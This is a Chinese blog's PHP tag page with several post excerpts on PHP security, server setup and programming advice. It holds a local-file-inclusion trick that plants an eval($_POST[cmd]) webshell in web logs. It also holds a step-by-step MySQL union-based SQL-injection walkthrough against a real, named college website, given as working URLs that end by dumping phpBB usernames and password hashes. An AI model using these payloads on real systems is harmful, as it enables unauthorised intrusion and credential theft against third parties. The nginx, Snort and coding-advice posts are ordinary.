Posts Tagged ‘PHP’

preg_match(_all)的变量初始化问题

Posted in 安全相关 on 5月 24th, 2009 by 飘(piao2010) – 2 Comments

preg_match(_all)的变量初始化问题

author: 80vul-B
team:http://www.80vul.com
date:2009-04-27

一 描叙

php手册里:
—————————————————————————————–
int preg_match ( string pattern, string subject [, array matches [, int flags]] )

在 subject 字符串中搜索与 pattern 给出的正则表达式相匹配的内容。
如果提供了 matches,则其会被搜索的结果所填充。$matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推。
—————————————————————————————– read more »

php文件系统攻击向导

Posted in 安全相关, 搬家之前 on 4月 12th, 2009 by 飘(piao2010) – Be the first to comment

 

一.php文件系统路径正常化攻击

在路径中使用/和/.会使/etc/passwd/或者/etc/passwd/.作为一个文件被打开.

二.php文件系统过程路径截断攻击

PHP有一个路径截断的问题(一个非常邪恶的手段snprintf())只允许使用MAX_PATH被作为打开文件或者目录的鉴定.

read more »

PHP本地包含漏洞的新突破口

Posted in 安全相关, 搬家之前 on 4月 11th, 2009 by 飘(piao2010) – Be the first to comment

这是一个很好的思路,我们可以随意构造

.php”>http://www.exp.com/index<?/**/eval($_POST[cmd]);/**/?>.php

这样的GET请求,将一句话木马写入web日志,然后利用文件包含漏洞包含日志得到WEBSHELL,如milw0rm上的这个EXP:

http://www.milw0rm.com/exploits/4029

不过很遗憾,这类情况只能在short_open_tag=on的情况下才能有效,当short_open_tag=off时, read more »

freebsd:Nginx+php+mysql

Posted in FreeBSD, 搬家之前 on 2月 10th, 2009 by 飘(piao2010) – Be the first to comment

文章是参考别人的,本人是在原先lighttpd+fastcgi(php)+mysql环境下直接安装nginx,然后修改相关配置文件/usr/local/etc/nginx/nginx.conf

location / {

root    /usr/local/www/nginx;

index    index.php index.html index.htm;

}

location ~ \.php$ {

fastcgi_pass    127.0.0.1:9000;

fastcgi_index   index.php;

fastcgi_param     SCRIPT_FILENAME     /usr/local/www/nginx$fastcgi_script.name;#PHP文件所在目录

include      fastcgi_params;

}

本来是很简单的一个过程,启动的时候出现了问题,unknown “fastcgi_script” variable

然后只能把

fastcgi_param     SCRIPT_FILENAME     /usr/local/www/nginx$fastcgi_script.name;

修改成

fastcgi_param     SCRIPT_FILENAME     /usr/local/www/nginx;

启动时候是不报错了,但是访问PHP文件出错nginx No input file specified

结果在网上找了一堆资料搞了半天,很多提到php.ini里面的相关设置。 read more »

入侵检测系统IDS(FreeBSD:Snort)

Posted in FreeBSD, 搬家之前 on 2月 9th, 2009 by 飘(piao2010) – Be the first to comment

文章是参考别人的,经本人测试:freebsd7.0+lighttpd+php5+mysql5+snort2.7,安装过程大同小异,Snort我也是采用ports安装的,访问acid点击Create Acid AG 创建相关数据表的时候遇到了问题,只能根据相应php文件的代码手工在mysql中创建相关的字段,另外规则文件需要去官方网站注册后下载,如果不注册只能下载低版本的。花了一个晚上时间终于搞定,大家元宵节快乐!o(∩_∩)o…

1.Snort简介

Snort 是一个强大的轻量级的网络入侵检测系统。它具有实时数据流量分析 read more »

MYSQL5注入

Posted in 搬家之前 on 2月 3rd, 2009 by 飘(piao2010) – Be the first to comment

 
手工注入纽约大学(By 指扣c_fans)

过年了好忙 各种事情。
对待站我们应该耐心的去对待各种问题。包括以下出到的问题。
由于时间问题。作为版主拿出代表性的几点 希望为以后大家的技术有所帮助。
—by 指扣.(c_fans)
一 原理分析
我看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的
mysql> use information_schema;
Database changed
mysql> show tables;
+—————————————+
| Tables_in_information_schema |
+—————————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+—————————————+
这里只挑注射中可以用到的几个表。 
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
          COLUMN_NAME表示字段名
二 注入过程
1 版本号:1:版本号http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20select%201,2,3,4,unhex(hex(@@version)),6,7,8,9,10,11/*(这里用hex unhex绕过错误)

2用户名:2:用户名http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20select%201,2,3,4,unhex(hex(user())),6,7,8,9,10,11/*

3数据库名:11:数据库库名:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20select%201,2,3,4,unhex(hex(SCHEMA_NAME)),6,7,8,9,10,11%20from%20information_schema.SCHEMATA%20where%20SCHEMA_NAME%20like%20char(37,105,108,116,95,112,104,112,98,98,37)/* 这里我们找下phpbb的表段。(关键模糊查询,有些库名是很多的。甚至上百,模糊查询可以帮你找到你所希望的。例如:%pass%  %phpbb%等有用的表)

4段名:4:段名http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20all%20select%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()/*(这里直接利用查询=database查询与用户有关的段)

5:避免限制limit的:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20all%20select%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()%20and%20table_name%20!=%20char(117,115,101,114,115%20)/*(有些情况下limit是被限制的 之类我们可以采用!=来绕过)
6:username:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20all%20select%201,2,3,4,unhex(hex(column_name)),6,7,8,9,10,11%20from%20information_schema.columns%20where%20table_name=char(117,115,101,114,115)%20limit%202,1/*
7:password:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20all%20select%201,2,3,4,unhex(hex(column_name)),6,7,8,9,10,11%20from%20information_schema.columns%20where%20table_name=char(117,115,101,114,115)%20limit%206,1/*(由于长度问题 这里显示不出来 经试验此表并不重要)
8 容错的:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=-1%20union%09select%091,2,3,4,username,6,7,8,9,10,11%09from%09users/*(大家注意这条语句  很多情况下如果我们id=64 是不行的  这里64可换为-1 两外%20换为%09 多多注意哦 )
9模糊查询:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64%20union%20all%20select%201,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_name%20like%20char(37,112,104,112,37)/*
10:结果:http://lrc.yorkcollege.ac.uk/subjects/display.php?id=64+union+select+1,2,3,4,unhex(hex(concat(username,0×3a,user_password))),6,7,8,9,10,11+from+ilt_phpbb.phpbb_users

时间关系 不再补充 关键字段已经爆出 。
用户密码也已经爆出。
关键在于大家对于MY SQL注入错误的一些对待问题。
希望此文可以帮助大家。

————————-by 指扣。c_fans

另外那个username password 在user表中是无大用的。再次不列出。by 指扣【DST】

 

 
 

在 PHP 中养成 7 个面向对象的好习惯

Posted in Uncategories, 搬家之前 on 11月 20th, 2008 by 飘(piao2010) – Be the first to comment

通过面向对象的方式改进 PHP 应用程序在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客

 
在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客
在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客
 
在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客  

 

在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客  

 

在 PHP 中养成 7 个面向对象的好习惯 - 飘 - ※飘§№的博客  

 

 

级别: 中级

Nathan A. Good, 高级信息工程师, Freelance Developer

2008 年 11 月 17 日

如果您尚未打算用 OO 原则创建应用程序,则使用 PHP 的面向对象(OO)的语言特性,这 7 个习惯将帮助您开始在过程编程与 OO 编程之间进行转换。

在 PHP 编程早期,PHP 代码在本质上是限于面向过程的。过程代码 的特征在于使用过程构建应用程序块。过程通过允许过程之间的调用提供某种程度的重用。

但是,没有面向对象的语言构造,程序员仍然可以把 OO 特性引入到 PHP 代码中。这样做有点困难并且会使代码难于阅读,因为它是混合范例(含有伪 OO 设计的过程语言)。使用 PHP 代码中的 OO 构造 — 例如能够定义和使用类、能够构建使用继承的类之间的关系以及能够定义接口 — 可以更轻松地构建符合优秀 OO 实践的代码。

虽然没有过多模块化的纯过程设计运行得很好,但是 OO 设计的优点表现在维护上。由于典型应用程序的大部分生命周期都花费在维护上,因此代码维护是应用程序生命周期的重要部分。并且在开发过程中代码维护很容易被遗忘。如果在应用程序开发和部署方面存在竞争,那么长期可维护性可能被放在比较次要的地位。

模块化 — 优秀 OO 设计的主要特性之一 — 可以帮助完成这样的维护。模块化将帮助封装更改,这样可以随着时间的推移更轻松地扩展和修改应用程序。

总的来说,虽然构建 OO 软件的习惯不止 7 个,但是遵循这里的 7 个习惯可以使代码符合基本 OO 设计标准。它们将为您提供更牢固的基础,在此基础之上建立更多 OO 习惯并构建可轻松维护与扩展的软件。这些习惯针对模块化的几个主要特性。有关独立于语言的 OO 设计优点的更多信息,请参阅 参考资料

7 个优秀 PHP OO 习惯包括:

  1. 保持谦虚。
  2. 做个好邻居。
  3. 避免看到美杜莎。
  4. 利用最弱的链接。
  5. 您是橡皮;我是胶水。
  6. 限制传播。
  7. 考虑使用模式。

好习惯:使用公共访问方法” 中介绍访问方法的更多信息)。

除了允许您的实现隐藏在更改之后外,使用公共访问方法而非直接公开字段将允许您在基本实现的基础上进行构建,方法为覆盖访问方法的实现以执行略微不同于父方法的行为。它还允许您构建一个抽象实现,从而使实际实现委托给覆盖基本实现的类。

什么是程序员的优秀品质?

Posted in 搬家之前 on 10月 17th, 2008 by 飘(piao2010) – Be the first to comment

使用一种特殊的编程语言、编程很牛,单单靠这个并不能说一名程序员/开发者就是优秀程序员/开发者。   快速发展的开发环境使得这个行业比我今天看到的任何一个行业都要发展迅速,这既有积极的一面也有消极的一面:今天的程序员/开发者有很多编程语言、开发工具和开发平台可选,但是建立一个安全、可扩展的环境却变得难了很多;硬件和软件正日新月异地变得更加复杂,但现在学习新技术比过去要难太多了。

    以下是优秀程序员应当具备的品质:

语言和工具(Languages and Tools:)

    任何程序员/开发者需要具备的第一个技能就是,能够用编程语言工作并会使用与之相关的主要开发工具,包括:工具、IDEs, web 框架, messaging APIs。

程序设计方法(Programming Paradigm:)

举例来说,很好地理解面向对象,这对使用强制式语言(Imperative Language也称过程式语言)写出可维护的代码至关重要。在企业开发中你会遇到各种不同的问题,理解多种程序设计方法并知道何时使用,将使这些问题迎刃而解。

领域专长的知识(Domain Specific Knowledge:)

如果想编写系统来解决特定领域内的问题,那么拥有该领域的专长知识将非常重要。

尽管许多这样的知识是由项目的商业分析员(Business Analyst)来获悉,但如果开发者也能获取,那么跟用户的交流将会更加容易,而且更能够理解他们的专业词汇。

人际关系(People Skills:)

    软件开发中最重要的技能之一就是能够与其他开发者一起高效工作——同事、质量/商业分析员(Quality/Business Analysts),客户,用户,很多很多……如果你能够很好地处理这些关系,那么成功的大路也离你不远矣。

解决问题(Problem Solving:)

    有能力解决那些没有明显解决方法的问题,这一点在软件开发中很重要。当把你的应用配置到JBoss或者通过一个测试找到一个棘手bug的时候,理智地编程将成为调试一个类路径(class path)问题。

沟通能力(Good Communication skills:)

    在软件世界中,人们通常认为好的沟通能力就是流利地说话,事实上这远不是。这指的是:你能够多么有效地与其他人交流。作为一名优秀的开发者,你应当能够很好地表达你的想法,很好地听,以及很好地掌控你与他人沟通的过程。

读书(Read Books:)

    读大量书将了解很多不同的技术,读书使你对一种技术有了快速、直接的视角。通常你应当选择知名学者的书,他们推崇实践和用技术解决问题的多种方法。在这个过程中,你将学到很多并逐渐形成自己的方法。没准哪天你也就能出书了呢。

实践、实践再实践(Practice, Practice and Practice)

    许多开发者拥有大量理论知识,他们饱览书籍和技术资料。然而,怎样运用这些知识却让他们望而却步。这是因为他们缺乏实践。你工作的效率和效力只能通过你实践中编写代码来获得。唯一能使你成为优秀开发者的方法就是实践、实践再实践。

遵循范例和最好的实践(Follow Patterns and Best Practices :)

    范例和实践反映了技术指导、常见技术问题和基于真实事件的实践。学习的过程是循序渐进的,但是一劳永逸。这会节省你非常多的时间和精力,让你的工作更加有效。遵循一本“代码编程指南”(Code Design Guideline),经常使用代码分析工具将检测和分析你的代码。

讨论/小组沟通(Discussion/Newsgroup:)

    参加开发社区会提高你的领导能力以及贡献感,二者都是成功的必需品。在社区内参加一场含量较高的技术讨论将使你充满成就感,而且会增长你的知识,因为其中的智者会查看和评点你的解决方法,你也会查看和评点他们的。而且这个过程教会你接纳并感激别人的建议。如果她/他做出了积极的贡献,不要忘了赞扬和鼓励(’pat someone on the back’)。

网络和数据库知识(Knowledge of Networking and Databases:)

有人也许不赞成这点,但是一个优秀的开发者应当知道网络和数据库的基本东西。而且在思考解决方法的时候,不要忘记将二者考虑在内。拥有二者的知识,能够帮你写出更好的代码并节省你很多时间。

博客、写文章(Blog/ Write Articles:)

    我们中有谁能够记住每件事?我不能,所以我把他们记下来。当我需要的时候,可以回头翻阅参考。除此之外,我可以借此从读者那里获得反馈,让我对同样的问题收获更多的方法。我已经获悉了许多与我工作有关的反馈,虽然有好有坏,但我会一一验证,这个过程也让我受益匪浅。

KISS

    不要想歪了,这里的KISS不是你想的那样,是指让应用/方法直短、简单(Keep Implementations/Approaches Short and Simple的简写)。不要使用行话来让事情更加复杂,因为人们很难理解它们。最好的方法是简化你的设计并避免过度设计(over-engineering)的东西。

像测试者一样思考(Think as a Tester:)

开发者和测试者,来自两个不同阵营的两类人群,随时准备同彼此较量。我发现二者的合作将产生非常好的结果。既不会损害开发者的利益也不会损害测试者的利益。实际上,长期来看,像测试者一样思考有利于减少你代码的bug,而且会形成很好的编程习惯和思维。

坚持一致是游戏规则(Consistency is the name of the game:)

    你是否经常跳槽或者被你的薪水所打击?如果是,那么静坐下来放松下并重新规划。好好想想不要让你的决定天马行空,为了不断向前,你需要一个坚实的决定并坚持不懈。

参加技术研讨会/大事件(Attend technology seminars and events:)

    如果你所在的城市有技术研讨会,一定要抽出时间参加。大部分的研讨会是免费的,而且会提供新技术的重要信息。

万家通吃还是一门独大?(Jack of all or Master of One?:)

    嗯……这个问题不好回答。在现在的环境下,你必须掌握一种以上的技术。尽管这不容易,但是好的开发者还是能够做到。其中的关键就在于适应性:如果你精于某种技术,那么给以机会你将较容易地在短期内掌握一种新技术。你不妨试试,多掌握一种技术可以让你在使用中对比、选择。

停止抱怨(Stop complaining:)

    是否软件没有做成,是否测试人员给你检查出一堆bug?许多开发者的本能反应是抵制情绪进而非常抵制这种情况。由于这种情绪是自然反应未经控制,所以它不可取。静心分析为什么软件失败、为什么有如此多bug,这是一个学习的经历将使你未来的工作受益良多。

    最后,请记住你不是要永远做个程序员。所以一旦你自我满足并觉得自己是个优秀的程序员,你就得重新规划你自己(re-program yourself)。扩展你的兴趣。开发只是这个过程的一部分,了解用户和商业实际上是一种艺术,每个人应当以此为目标并努力掌握它。


无觅相关文章插件,快速提升流量